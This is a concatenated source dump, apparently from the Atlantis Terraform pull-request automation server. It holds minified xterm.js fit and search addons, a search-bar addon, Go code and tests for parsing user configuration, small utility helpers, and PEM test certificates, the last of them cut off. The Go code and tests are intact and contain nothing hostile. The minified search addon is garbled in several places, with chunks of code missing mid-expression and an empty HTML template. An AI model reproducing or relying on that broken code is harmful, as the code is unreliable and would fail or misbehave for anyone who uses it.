r=0===this._terminal.options.scrollback?0:e.viewport.scrollBarWidth,i=window.getComputedStyle(this._terminal.element.parentElement),o=parseInt(i.getPropertyValue("height")),s=Math.max(0,parseInt(i.getPropertyValue("width"))),n=window.getComputedStyle(this._terminal.element),l=o-(parseInt(n.getPropertyValue("padding-top"))+parseInt(n.getPropertyValue("padding-bottom"))),a=s-(parseInt(n.getPropertyValue("padding-right"))+parseInt(n.getPropertyValue("padding-left")))-r;return{cols:Math.max(2,Math.floor(a/t.css.cell.width)),rows:Math.max(1,Math.floor(l/t.css.cell.height))}}}})(),e})())); //# sourceMappingURL=xterm-addon-fit.js.map ================================================ FILE: server/static/js/xterm-addon-search-0.13.0.js ================================================ !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.SearchAddon=t():e.SearchAddon=t()}(self,(()=>(()=>{"use strict";var e={345:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.forwardEvent=t.EventEmitter=void 0,t.EventEmitter=class{constructor(){this._listeners=[],this._disposed=!1}get event(){return this._event||(this._event=e=>(this._listeners.push(e),{dispose:()=>{if(!this._disposed)for(let t=0;tt.fire(e)))}},859:(e,t)=>{function i(e){for(const t of e)t.dispose();e.length=0}Object.defineProperty(t,"__esModule",{value:!0}),t.getDisposeArrayDisposable=t.disposeArray=t.toDisposable=t.MutableDisposable=t.Disposable=void 0,t.Disposable=class{constructor(){this._disposables=[],this._isDisposed=!1}dispose(){this._isDisposed=!0;for(const e of this._disposables)e.dispose();this._disposables.length=0}register(e){return this._disposables.push(e),e}unregister(e){const t=this._disposables.indexOf(e);-1!==t&&this._disposables.splice(t,1)}},t.MutableDisposable=class{constructor(){this._isDisposed=!1}get value(){return this._isDisposed?void 0:this._value}set value(e){var t;this._isDisposed||e===this._value||(null===(t=this._value)||void 0===t||t.dispose(),this._value=e)}clear(){this.value=void 0}dispose(){var e;this._isDisposed=!0,null===(e=this._value)||void 0===e||e.dispose(),this._value=void 0}},t.toDisposable=function(e){return{dispose:e}},t.disposeArray=i,t.getDisposeArrayDisposable=function(e){return{dispose:()=>i(e)}}}},t={};function i(s){var r=t[s];if(void 0!==r)return r.exports;var o=t[s]={exports:{}};return e[s](o,o.exports,i),o.exports}var s={};return(()=>{var e=s;Object.defineProperty(e,"__esModule",{value:!0}),e.SearchAddon=void 0;const t=i(345),r=i(859),o=" ~!@#$%^&*()+`-=[]{}|\\;:\"',./<>?";class n extends r.Disposable{constructor(e){var i;super(),this._highlightedLines=new Set,this._highlightDecorations=[],this._selectedDecoration=this.register(new r.MutableDisposable),this._linesCacheTimeoutId=0,this._onDidChangeResults=this.register(new t.EventEmitter),this.onDidChangeResults=this._onDidChangeResults.event,this._highlightLimit=null!==(i=null==e?void 0:e.highlightLimit)&&void 0!==i?i:1e3}activate(e){this._terminal=e,this.register(this._terminal.onWriteParsed((()=>this._updateMatches()))),this.register(this._terminal.onResize((()=>this._updateMatches()))),this.register((0,r.toDisposable)((()=>this.clearDecorations())))}_updateMatches(){var e;this._highlightTimeout&&window.clearTimeout(this._highlightTimeout),this._cachedSearchTerm&&(null===(e=this._lastSearchOptions)||void 0===e?void 0:e.decorations)&&(this._highlightTimeout=setTimeout((()=>{const e=this._cachedSearchTerm;this._cachedSearchTerm=void 0,this.findPrevious(e,Object.assign(Object.assign({},this._lastSearchOptions),{incremental:!0,noScroll:!0}))}),200))}clearDecorations(e){this._selectedDecoration.clear(),(0,r.disposeArray)(this._highlightDecorations),this._highlightDecorations=[],this._highlightedLines.clear(),e||(this._cachedSearchTerm=void 0)}findNext(e,t){if(!this._terminal)throw new Error("Cannot use addon until it has been loaded");this._lastSearchOptions=t,(null==t?void 0:t.decorations)&&(void 0!==this._cachedSearchTerm&&e===this._cachedSearchTerm||this._highlightAllMatches(e,t));const i=this._findNextAndSelect(e,t);return this._fireResults(t),this._cachedSearchTerm=e,i}_highlightAllMatches(e,t){if(!this._terminal)throw new Error("Cannot use addon until it has been loaded");if(!e||0===e.length)return void this.clearDecorations();t=t||{},this.clearDecorations(!0);const i=[];let s,r=this._find(e,0,0,t);for(;r&&((null==s?void 0:s.row)!==r.row||(null==s?void 0:s.col)!==r.col)&&!(i.length>=this._highlightLimit);)s=r,i.push(s),r=this._find(e,s.col+s.term.length>=this._terminal.cols?s.row+1:s.row,s.col+s.term.length>=this._terminal.cols?0:s.col+1,t);for(const e of i){const i=this._createResultDecoration(e,t.decorations);i&&(this._highlightedLines.add(i.marker.line),this._highlightDecorations.push({decoration:i,match:e,dispose(){i.dispose()}}))}}_find(e,t,i,s){var r;if(!this._terminal||!e||0===e.length)return null===(r=this._terminal)||void 0===r||r.clearSelection(),void this.clearDecorations();if(i>this._terminal.cols)throw new Error(`Invalid col: ${i} to search in terminal of ${this._terminal.cols} cols`);let o;this._initLinesCache();const n={startRow:t,startCol:i};if(o=this._findInLine(e,n,s),!o)for(let i=t+1;i=0&&(l.startRow=i,h=this._findInLine(e,l,t,n),!h);i--);}if(!h&&r!==this._terminal.buffer.active.baseY+this._terminal.rows-1)for(let i=this._terminal.buffer.active.baseY+this._terminal.rows-1;i>=r&&(l.startRow=i,h=this._findInLine(e,l,t,n),!h);i--);return this._selectResult(h,null==t?void 0:t.decorations,null==t?void 0:t.noScroll)}_initLinesCache(){const e=this._terminal;this._linesCache||(this._linesCache=new Array(e.buffer.active.length),this._cursorMoveListener=e.onCursorMove((()=>this._destroyLinesCache())),this._resizeListener=e.onResize((()=>this._destroyLinesCache()))),window.clearTimeout(this._linesCacheTimeoutId),this._linesCacheTimeoutId=window.setTimeout((()=>this._destroyLinesCache()),15e3)}_destroyLinesCache(){this._linesCache=void 0,this._cursorMoveListener&&(this._cursorMoveListener.dispose(),this._cursorMoveListener=void 0),this._resizeListener&&(this._resizeListener.dispose(),this._resizeListener=void 0),this._linesCacheTimeoutId&&(window.clearTimeout(this._linesCacheTimeoutId),this._linesCacheTimeoutId=0)}_isWholeWord(e,t,i){return(0===e||o.includes(t[e-1]))&&(e+i.length===t.length||o.includes(t[e+i.length]))}_findInLine(e,t,i={},s=!1){var r;const o=this._terminal,n=t.startRow,l=t.startCol,h=o.buffer.active.getLine(n);if(null==h?void 0:h.isWrapped)return s?void(t.startCol+=o.cols):(t.startRow--,t.startCol+=o.cols,this._findInLine(e,t,i));let a=null===(r=this._linesCache)||void 0===r?void 0:r[n];a||(a=this._translateBufferLineToStringWithWrap(n,!0),this._linesCache&&(this._linesCache[n]=a));const[c,d]=a,_=this._bufferColsToStringOffset(n,l),u=i.caseSensitive?e:e.toLowerCase(),f=i.caseSensitive?c:c.toLowerCase();let g=-1;if(i.regex){const t=RegExp(u,"g");let i;if(s)for(;i=t.exec(f.slice(0,_));)g=t.lastIndex-i[0].length,e=i[0],t.lastIndex-=e.length-1;else i=t.exec(f.slice(_)),i&&i[0].length>0&&(g=_+(t.lastIndex-i[0].length),e=i[0])}else s?_-u.length>=0&&(g=f.lastIndexOf(u,_-u.length)):g=f.indexOf(u,_);if(g>=0){if(i.wholeWord&&!this._isWholeWord(g,f,e))return;let t=0;for(;t=d[t+1];)t++;let s=t;for(;s=d[s+1];)s++;const r=g-d[t],l=g+e.length-d[s],h=this._stringLengthToBufferSize(n+t,r);return{term:e,col:h,row:n+t,size:this._stringLengthToBufferSize(n+s,l)-h+o.cols*(s-t)}}}_stringLengthToBufferSize(e,t){const i=this._terminal.buffer.active.getLine(e);if(!i)return 0;for(let e=0;e1&&(t-=r.length-1);const o=i.getCell(e+1);o&&0===o.getWidth()&&t++}return t}_bufferColsToStringOffset(e,t){const i=this._terminal;let s=e,r=0,o=i.buffer.active.getLine(s);for(;t>0&&o;){for(let e=0;ethis._applyStyles(e,t.activeMatchBorder,!0)))),s.push(o.onDispose((()=>(0,r.disposeArray)(s)))),this._selectedDecoration.value={decoration:o,match:e,dispose(){o.dispose()}}}}}if(!i&&(e.row>=s.buffer.active.viewportY+s.rows||e.rowthis._applyStyles(e,t.matchBorder,!1)))),e.push(o.onDispose((()=>(0,r.disposeArray)(e))))}return o}}e.SearchAddon=n})(),s})())); //# sourceMappingURL=xterm-addon-search.js.map ================================================ FILE: server/static/js/xterm-addon-search-bar.js ================================================ !(function (e, t) { "object" == typeof exports && "undefined" != typeof module ? t(exports) : "function" == typeof define && define.amd ? define(["exports"], t) : t((e.SearchBarAddon = {})); })(this, function (e) { "use strict"; !(function (e, t) { void 0 === t && (t = {}); var a = t.insertAt; if (e && "undefined" != typeof document) { var i = document.head || document.getElementsByTagName("head")[0], n = document.createElement("style"); (n.type = "text/css"), "top" === a && i.firstChild ? i.insertBefore(n, i.firstChild) : i.appendChild(n), n.styleSheet ? (n.styleSheet.cssText = e) : n.appendChild(document.createTextNode(e)); } })( `.xterm-search-bar__addon{position:absolute;max-width:1467px;top:0;right:28px;color:#000;background:#fff; padding:5px 10px;box-shadow:0 2px 8px #000;background-color:#252526;z-index:999;display:flex}.xterm-search-bar__addon .search-bar__input{background-color:#3c3c3c;color:#ccc;border:0;margin-bottom:0px;padding:2px;height:20px;width:227px}.xterm-search-bar__addon .search-bar__btn{min-width:20px;width:20px;height:20px;display:flex;display:-webkit-flex;flex:initial;background-position:50%; margin-left:3px;margin-bottom:0px;background-repeat:no-repeat;background-color:#252526;border:0;cursor:pointer;padding: 0}.xterm-search-bar__addon .search-bar__btn:hover{background-color:#666}.xterm-search-bar__addon .search-bar__btn.prev{background-image:url("data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgZmlsbD0iI2ZmZiI+PHBhdGggZD0iTTUuNCA4YS42LjYgMCAwMS4xNzYtLjQyNGw0LTRhLjU5OC41OTggMCAwMS44NDggMCAuNTk4LjU5OCAwIDAxMCAuODQ4TDYuODQ5IDhsMy41NzUgMy41NzZhLjU5OC41OTggMCAwMTAgLjg0OC41OTguNTk4IDAgMDEtLjg0OCAwbC00LTRBLjYuNiAwIDAxNS40IDgiLz48L3N2Zz4=")}.xterm-search-bar__addon .search-bar__btn.next{background-image:url("data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgZmlsbD0iI2ZmZiI+PHBhdGggZD0iTTEwLjYgOGEuNi42IDAgMDEtLjE3Ni40MjRsLTQgNGEuNTk4LjU5OCAwIDAxLS44NDggMCAuNTk4LjU5OCAwIDAxMC0uODQ4TDkuMTUxIDggNS41NzYgNC40MjRhLjU5OC41OTggMCAwMTAtLjg0OC41OTguNTk4IDAgMDEuODQ4IDBsNCA0QS42LjYgMCAwMTEwLjYgOCIvPjwvc3ZnPg==")}.xterm-search-bar__addon .search-bar__btn.close{background-image:url("data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMiIgaGVpZ2h0PSIxMiIgZmlsbD0iI2ZmZiI+PHBhdGggZD0iTTcgNmwyLTJhLjcxMS43MTEgMCAwMDAtMSAuNzExLjcxMSAwIDAwLTEgMEw2IDUgNCAzYS43MTEuNzExIDAgMDAtMSAwIC43MTEuNzExIDAgMDAwIDFsMiAyLTIgMmEuNzExLjcxMSAwIDAwMCAxIC43MTEuNzExIDAgMDAxIDBsMi0yIDIgMmEuNzExLjcxMSAwIDAwMSAwIC43MTEuNzExIDAgMDAwLTFMNyA2eiIvPjwvc3ZnPg==")}` ); const t = "xterm-search-bar__addon"; (e.SearchBarAddon = class { constructor(e) { (this.options = e || {}), this.options && this.options.searchAddon && (this.searchAddon = this.options.searchAddon); } activate(e) { (this.terminal = e), this.searchAddon; } dispose() { this.hidden(); } show() { if (!this.terminal || !this.terminal.element) return; if (this.searchBarElement) return ( (this.searchBarElement.style.visibility = "visible"), void this.searchBarElement.querySelector("input").select() ); this.terminal.element.style.position = "relative"; const e = document.createElement("div"); (e.innerHTML = ` `), (e.className = t); const a = this.terminal.element.parentElement; (this.searchBarElement = e), /* ["relative", "absolute", "fixed"].includes(a.style.position) || (a.style.position = "relative"),*/ a.appendChild(this.searchBarElement), this.on(".search-bar__btn.close", "click", () => { this.hidden(); }), this.on(".search-bar__btn.next", "click", () => { this.searchAddon.findNext(this.searchKey, { incremental: !1 }); }), this.on(".search-bar__btn.prev", "click", () => { this.searchAddon.findPrevious(this.searchKey, { incremental: !1 }); }), this.on(".search-bar__input", "keyup", (e) => { (this.searchKey = e.target.value), this.searchAddon.findNext(this.searchKey, { incremental: "Enter" !== e.key, }); }), this.searchBarElement.querySelector("input").select(); } hidden() { this.searchBarElement && this.terminal.element.parentElement && (this.searchBarElement.style.visibility = "hidden"); } on(e, t, a) { const i = this.terminal.element.parentElement; i.addEventListener(t, (t) => { let n = t.target; for (; n !== document.querySelector(e); ) { if (n === i) { n = null; break; } n = n.parentElement; } n === document.querySelector(e) && (a.call(this, t), t.stopPropagation()); }); } addNewStyle(e) { let a = document.getElementById(t); a || (((a = document.createElement("style")).type = "text/css"), (a.id = t), document.getElementsByTagName("head")[0].appendChild(a)), a.appendChild(document.createTextNode(e)); } }), Object.defineProperty(e, "__esModule", { value: !0 }); }); ================================================ FILE: server/user_config.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package server import ( "encoding/json" "fmt" "strings" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/logging" ) // UserConfig holds config values passed in by the user. // The mapstructure tags correspond to flags in cmd/server.go and are used when // the config is parsed from a YAML file. type UserConfig struct { AllowForkPRs bool `mapstructure:"allow-fork-prs"` AllowCommands string `mapstructure:"allow-commands"` AtlantisURL string `mapstructure:"atlantis-url"` AutoDiscoverModeFlag string `mapstructure:"autodiscover-mode"` Automerge bool `mapstructure:"automerge"` AutoplanFileList string `mapstructure:"autoplan-file-list"` AutoplanModules bool `mapstructure:"autoplan-modules"` AutoplanModulesFromProjects string `mapstructure:"autoplan-modules-from-projects"` AzureDevopsToken string `mapstructure:"azuredevops-token"` AzureDevopsUser string `mapstructure:"azuredevops-user"` AzureDevopsWebhookPassword string `mapstructure:"azuredevops-webhook-password"` AzureDevopsWebhookUser string `mapstructure:"azuredevops-webhook-user"` AzureDevOpsHostname string `mapstructure:"azuredevops-hostname"` BitbucketApiUser string `mapstructure:"bitbucket-api-user"` BitbucketBaseURL string `mapstructure:"bitbucket-base-url"` BitbucketToken string `mapstructure:"bitbucket-token"` BitbucketUser string `mapstructure:"bitbucket-user"` BitbucketWebhookSecret string `mapstructure:"bitbucket-webhook-secret"` CheckoutDepth int `mapstructure:"checkout-depth"` CheckoutStrategy string `mapstructure:"checkout-strategy"` DataDir string `mapstructure:"data-dir"` DisableApplyAll bool `mapstructure:"disable-apply-all"` DisableAutoplan bool `mapstructure:"disable-autoplan"` DisableAutoplanLabel string `mapstructure:"disable-autoplan-label"` DisableMarkdownFolding bool `mapstructure:"disable-markdown-folding"` DisableRepoLocking bool `mapstructure:"disable-repo-locking"` DisableGlobalApplyLock bool `mapstructure:"disable-global-apply-lock"` DisableUnlockLabel string `mapstructure:"disable-unlock-label"` DiscardApprovalOnPlanFlag bool `mapstructure:"discard-approval-on-plan"` EmojiReaction string `mapstructure:"emoji-reaction"` EnablePolicyChecksFlag bool `mapstructure:"enable-policy-checks"` EnableRegExpCmd bool `mapstructure:"enable-regexp-cmd"` EnableProfilingAPI bool `mapstructure:"enable-profiling-api"` EnableDiffMarkdownFormat bool `mapstructure:"enable-diff-markdown-format"` ExecutableName string `mapstructure:"executable-name"` // Fail and do not run the Atlantis command request if any of the pre workflow hooks error. FailOnPreWorkflowHookError bool `mapstructure:"fail-on-pre-workflow-hook-error"` HideUnchangedPlanComments bool `mapstructure:"hide-unchanged-plan-comments"` GithubAllowMergeableBypassApply bool `mapstructure:"gh-allow-mergeable-bypass-apply"` GithubHostname string `mapstructure:"gh-hostname"` GithubToken string `mapstructure:"gh-token"` GithubTokenFile string `mapstructure:"gh-token-file"` GithubUser string `mapstructure:"gh-user"` GithubWebhookSecret string `mapstructure:"gh-webhook-secret"` GithubOrg string `mapstructure:"gh-org"` GithubAppID int64 `mapstructure:"gh-app-id"` GithubAppKey string `mapstructure:"gh-app-key"` GithubAppKeyFile string `mapstructure:"gh-app-key-file"` GithubAppSlug string `mapstructure:"gh-app-slug"` GithubAppInstallationID int64 `mapstructure:"gh-app-installation-id"` GithubTeamAllowlist string `mapstructure:"gh-team-allowlist"` GiteaBaseURL string `mapstructure:"gitea-base-url"` GiteaToken string `mapstructure:"gitea-token"` GiteaUser string `mapstructure:"gitea-user"` GiteaWebhookSecret string `mapstructure:"gitea-webhook-secret"` GiteaPageSize int `mapstructure:"gitea-page-size"` GitlabHostname string `mapstructure:"gitlab-hostname"` GitlabGroupAllowlist string `mapstructure:"gitlab-group-allowlist"` GitlabToken string `mapstructure:"gitlab-token"` GitlabUser string `mapstructure:"gitlab-user"` GitlabWebhookSecret string `mapstructure:"gitlab-webhook-secret"` GitlabStatusRetryEnabled bool `mapstructure:"gitlab-status-retry-enabled"` IncludeGitUntrackedFiles bool `mapstructure:"include-git-untracked-files"` APISecret string `mapstructure:"api-secret"` HidePrevPlanComments bool `mapstructure:"hide-prev-plan-comments"` LockingDBType string `mapstructure:"locking-db-type"` LogLevel string `mapstructure:"log-level"` MarkdownTemplateOverridesDir string `mapstructure:"markdown-template-overrides-dir"` MaxCommentsPerCommand int `mapstructure:"max-comments-per-command"` IgnoreVCSStatusNames string `mapstructure:"ignore-vcs-status-names"` ParallelPoolSize int `mapstructure:"parallel-pool-size"` ParallelPlan bool `mapstructure:"parallel-plan"` ParallelApply bool `mapstructure:"parallel-apply"` PendingApplyStatus bool `mapstructure:"pending-apply-status"` StatsNamespace string `mapstructure:"stats-namespace"` PlanDrafts bool `mapstructure:"allow-draft-prs"` Port int `mapstructure:"port"` QuietPolicyChecks bool `mapstructure:"quiet-policy-checks"` RedisDB int `mapstructure:"redis-db"` RedisHost string `mapstructure:"redis-host"` RedisPassword string `mapstructure:"redis-password"` RedisPort int `mapstructure:"redis-port"` RedisTLSEnabled bool `mapstructure:"redis-tls-enabled"` RedisInsecureSkipVerify bool `mapstructure:"redis-insecure-skip-verify"` RepoConfig string `mapstructure:"repo-config"` RepoConfigJSON string `mapstructure:"repo-config-json"` RepoAllowlist string `mapstructure:"repo-allowlist"` // SilenceNoProjects is whether Atlantis should respond to a PR if no projects are found. SilenceNoProjects bool `mapstructure:"silence-no-projects"` SilenceForkPRErrors bool `mapstructure:"silence-fork-pr-errors"` // SilenceVCSStatusNoPlans is whether autoplan should set commit status if no plans // are found. SilenceVCSStatusNoPlans bool `mapstructure:"silence-vcs-status-no-plans"` // SilenceVCSStatusNoProjects is whether autoplan should set commit status if no projects // are found. SilenceVCSStatusNoProjects bool `mapstructure:"silence-vcs-status-no-projects"` SilenceAllowlistErrors bool `mapstructure:"silence-allowlist-errors"` SkipCloneNoChanges bool `mapstructure:"skip-clone-no-changes"` SlackToken string `mapstructure:"slack-token"` SSLCertFile string `mapstructure:"ssl-cert-file"` SSLKeyFile string `mapstructure:"ssl-key-file"` RestrictFileList bool `mapstructure:"restrict-file-list"` TFDistribution string `mapstructure:"tf-distribution"` // deprecated in favor of DefaultTFDistribution TFDownload bool `mapstructure:"tf-download"` TFDownloadURL string `mapstructure:"tf-download-url"` TFEHostname string `mapstructure:"tfe-hostname"` TFELocalExecutionMode bool `mapstructure:"tfe-local-execution-mode"` TFEToken string `mapstructure:"tfe-token"` VarFileAllowlist string `mapstructure:"var-file-allowlist"` VCSStatusName string `mapstructure:"vcs-status-name"` DefaultTFDistribution string `mapstructure:"default-tf-distribution"` DefaultTFVersion string `mapstructure:"default-tf-version"` Webhooks []WebhookConfig `mapstructure:"webhooks" flag:"false"` WebhookHttpHeaders string `mapstructure:"webhook-http-headers"` WebBasicAuth bool `mapstructure:"web-basic-auth"` WebUsername string `mapstructure:"web-username"` WebPassword string `mapstructure:"web-password"` WriteGitCreds bool `mapstructure:"write-git-creds"` WebsocketCheckOrigin bool `mapstructure:"websocket-check-origin"` UseTFPluginCache bool `mapstructure:"use-tf-plugin-cache"` } // ToAllowCommandNames parse AllowCommands into a slice of CommandName func (u UserConfig) ToAllowCommandNames() ([]command.Name, error) { var allowCommands []command.Name var hasAll bool for input := range strings.SplitSeq(u.AllowCommands, ",") { if input == "" { continue } if input == "all" { hasAll = true continue } cmd, err := command.ParseCommandName(input) if err != nil { return nil, err } allowCommands = append(allowCommands, cmd) } if hasAll { return command.AllCommentCommands, nil } return allowCommands, nil } // ToWebhookHttpHeaders parses WebhookHttpHeaders into a map of HTTP headers. func (u UserConfig) ToWebhookHttpHeaders() (map[string][]string, error) { if u.WebhookHttpHeaders == "" { return nil, nil } var m map[string]any err := json.Unmarshal([]byte(u.WebhookHttpHeaders), &m) if err != nil { return nil, err } headers := make(map[string][]string) for name, rawValue := range m { switch val := rawValue.(type) { case []any: for _, v := range val { s, ok := v.(string) if !ok { return nil, fmt.Errorf("expected string array element, got %T", v) } headers[name] = append(headers[name], s) } case string: headers[name] = []string{val} default: return nil, fmt.Errorf("expected string or array, got %T", val) } } return headers, nil } // ToLogLevel returns the LogLevel object corresponding to the user-passed // log level. func (u UserConfig) ToLogLevel() logging.LogLevel { switch u.LogLevel { case "debug": return logging.Debug case "info": return logging.Info case "warn": return logging.Warn case "error": return logging.Error } return logging.Info } ================================================ FILE: server/user_config_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package server_test import ( "errors" "testing" "github.com/runatlantis/atlantis/server" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) func TestUserConfig_ToAllowCommandNames(t *testing.T) { tests := []struct { name string allowCommands string want []command.Name wantErr string }{ { name: "full commands can be parsed by comma", allowCommands: "apply,plan,cancel,unlock,policy_check,approve_policies,version,import,state", want: []command.Name{ command.Apply, command.Plan, command.Cancel, command.Unlock, command.PolicyCheck, command.ApprovePolicies, command.Version, command.Import, command.State, }, }, { name: "all", allowCommands: "all", want: []command.Name{ command.Version, command.Plan, command.Apply, command.Cancel, command.Unlock, command.ApprovePolicies, command.Import, command.State, }, }, { name: "all with others returns same with all result", allowCommands: "all,plan", want: []command.Name{ command.Version, command.Plan, command.Apply, command.Cancel, command.Unlock, command.ApprovePolicies, command.Import, command.State, }, }, { name: "empty", allowCommands: "", want: nil, }, { name: "invalid command", allowCommands: "plan,all,invalid", wantErr: "unknown command name: invalid", }, { name: "invalid command", allowCommands: "invalid,plan,all", wantErr: "unknown command name: invalid", }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { u := server.UserConfig{ AllowCommands: tt.allowCommands, } got, err := u.ToAllowCommandNames() if err != nil { require.ErrorContains(t, err, tt.wantErr, "ToAllowCommandNames()") } assert.Equalf(t, tt.want, got, "ToAllowCommandNames()") }) } } func TestUserConfig_ToWebhookHttpHeaders(t *testing.T) { tcs := []struct { name string given string want map[string][]string err error }{ { name: "empty", given: "", want: nil, }, { name: "happy path", given: `{"Authorization":"Bearer some-token","X-Custom-Header":["value1","value2"]}`, want: map[string][]string{ "Authorization": {"Bearer some-token"}, "X-Custom-Header": {"value1", "value2"}, }, }, { name: "invalid json", given: `{"X-Custom-Header":true}`, err: errors.New("expected string or array, got bool"), }, { name: "invalid json array element", given: `{"X-Custom-Header":[1, 2]}`, err: errors.New("expected string array element, got float64"), }, } for _, tc := range tcs { t.Run(tc.name, func(t *testing.T) { u := server.UserConfig{ WebhookHttpHeaders: tc.given, } got, err := u.ToWebhookHttpHeaders() Equals(t, tc.want, got) Equals(t, tc.err, err) }) } } func TestUserConfig_ToLogLevel(t *testing.T) { cases := []struct { userLvl string expLvl logging.LogLevel }{ { "debug", logging.Debug, }, { "info", logging.Info, }, { "warn", logging.Warn, }, { "error", logging.Error, }, { "unknown", logging.Info, }, } for _, c := range cases { t.Run(c.userLvl, func(t *testing.T) { u := server.UserConfig{ LogLevel: c.userLvl, } Equals(t, c.expLvl, u.ToLogLevel()) }) } } ================================================ FILE: server/utils/os.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package utils import ( "os" ) // RemoveIgnoreNonExistent removes a file, ignoring if it doesn't exist. func RemoveIgnoreNonExistent(file string) error { err := os.Remove(file) if err == nil || os.IsNotExist(err) { return nil } return err } ================================================ FILE: server/utils/slices.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package utils import "slices" // SlicesContains reports whether v is present in s. // https://pkg.go.dev/golang.org/x/exp/slices#Contains func SlicesContains[E comparable](s []E, v E) bool { return slices.Contains(s, v) } ================================================ FILE: server/utils/spellcheck.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package utils import ( "github.com/agext/levenshtein" ) // IsSimilarWord calculates "The Levenshtein Distance" between two strings which // represents the minimum total cost of edits that would convert the first string // into the second. If the distance is less than 3, the word is considered misspelled. func IsSimilarWord(given string, suggestion string) bool { dist := levenshtein.Distance(given, suggestion, nil) if dist > 0 && dist < 3 { return true } return false } ================================================ FILE: server/utils/spellcheck_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package utils_test import ( "fmt" "testing" "github.com/runatlantis/atlantis/server/utils" . "github.com/runatlantis/atlantis/testing" ) func Test_IsSimilarWord(t *testing.T) { t.Log("check if given executable name is misspelled or just an unrelated word") spellings := []struct { Misspelled bool Given string Want string }{ { false, "atlantis", "atlantis", }, { false, "maybe", "atlantis", }, { false, "atlantis-qa", "atlantis-prod", }, { true, "altantis", "atlantis", }, { true, "atlants", "atlantis", }, { true, "teraform", "terraform", }, } for _, s := range spellings { t.Run(fmt.Sprintf("given %s want %s", s.Given, s.Want), func(t *testing.T) { isMisspelled := utils.IsSimilarWord(s.Given, s.Want) if s.Misspelled { Equals(t, isMisspelled, true) } if !s.Misspelled { Equals(t, isMisspelled, false) } }) } } ================================================ FILE: testdata/cert.pem ================================================ -----BEGIN CERTIFICATE----- MIIDiDCCAnACCQDOnvpjFkiR7TANBgkqhkiG9w0BAQsFADCBhTELMAkGA1UEBhMC YXQxETAPBgNVBAgMCGF0bGFudGlzMREwDwYDVQQHDAhhdGxhbnRpczERMA8GA1UE CgwIYXRsYW50aXMxETAPBgNVBAsMCGF0bGFudGlzMREwDwYDVQQDDAhhdGxhbnRp czEXMBUGCSqGSIb3DQEJARYIYXRsYW50aXMwHhcNMjIxMTEwMTg1ODAwWhcNMjIx MjEwMTg1ODAwWjCBhTELMAkGA1UEBhMCYXQxETAPBgNVBAgMCGF0bGFudGlzMREw DwYDVQQHDAhhdGxhbnRpczERMA8GA1UECgwIYXRsYW50aXMxETAPBgNVBAsMCGF0 bGFudGlzMREwDwYDVQQDDAhhdGxhbnRpczEXMBUGCSqGSIb3DQEJARYIYXRsYW50 aXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDQ+d1Yhu2MBljro63h bYJk3NgMjhiHQzvV2Uy9C6UnXZ0pELWa3utYx+rTAJUjOWxfed59qF2IGAAMWmm7 GQt/Apz0AMtU1uSYzQGYQkWVnAODKRtUC+nBrJYnW4r1zY1/duP74rVuLMFLWhlg O7XPHbtQK5psYlXLmiyaljWpIMnj3pf/H1MUue+AD9yTpg+sRKscnbNsOVB8NV7Z mfpeddTkNuQL1d1KqfzF6bKz+zbyrcBz+NHC1SmvCGViRie/nE7UDd5OyHA4WM21 CDfLvCJxmKG69nFDY8Z8EPu/WGWYndeG0piefdlFpZ8GQTpmxD7dgcZ6M3fnCIdX Zvp/AgMBAAEwDQYJKoZIhvcNAQELBQADggEBAGlib941RVj17ynlH/MQ+R1x01a/ f0GrhHbM4N2IuwGZ77bS4f/yQMC5YJBDcBOog5v7bR3VM8rCNgYSlZDl2aBzBP+8 vXDjGQHr4AfV+dgM/6J7xdzQKpfFr7JCR421O9KOoI+rbuk4+HG2JpILR6H305XX KOkiD3Ywbdvsng0gA3rMxKTTs0XWu8Rki7r227P5p73yNBOwLQHwiewAfDiASJ/P UfzOEJjRHYe6ivz181HVQVn/4RJa1LbVtCVDk70VBA3N4tGHLb4eyeMcn/do1Hvg 8m//uN6x2s7TeswAEGCoj1LIhjHWIulAwlNCHIcXMguJqvubfhzlxmE601I= -----END CERTIFICATE----- ================================================ FILE: testdata/cert2.pem ================================================ -----BEGIN CERTIFICATE----- MIIDlDCCAnwCCQCGl++WdvHa4jANBgkqhkiG9w0BAQsFADCBizELMAkGA1UEBhMC YXQxEjAQBgNVBAgMCWF0bGFudGlzMjESMBAGA1UEBwwJYXRsYW50aXMyMRIwEAYD VQQKDAlhdGxhbnRpczIxEjAQBgNVBAsMCWF0bGFudGlzMjESMBAGA1UEAwwJYXRs YW50aXMyMRgwFgYJKoZIhvcNAQkBFglhdGxhbnRpczIwHhcNMjIxMTEwMTkwNDIx WhcNMjIxMjEwMTkwNDIxWjCBizELMAkGA1UEBhMCYXQxEjAQBgNVBAgMCWF0bGFu dGlzMjESMBAGA1UEBwwJYXRsYW50aXMyMRIwEAYDVQQKDAlhdGxhbnRpczIxEjAQ BgNVBAsMCWF0bGFudGlzMjESMBAGA1UEAwwJYXRsYW50aXMyMRgwFgYJKoZIhvcN AQkBFglhdGxhbnRpczIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC+ 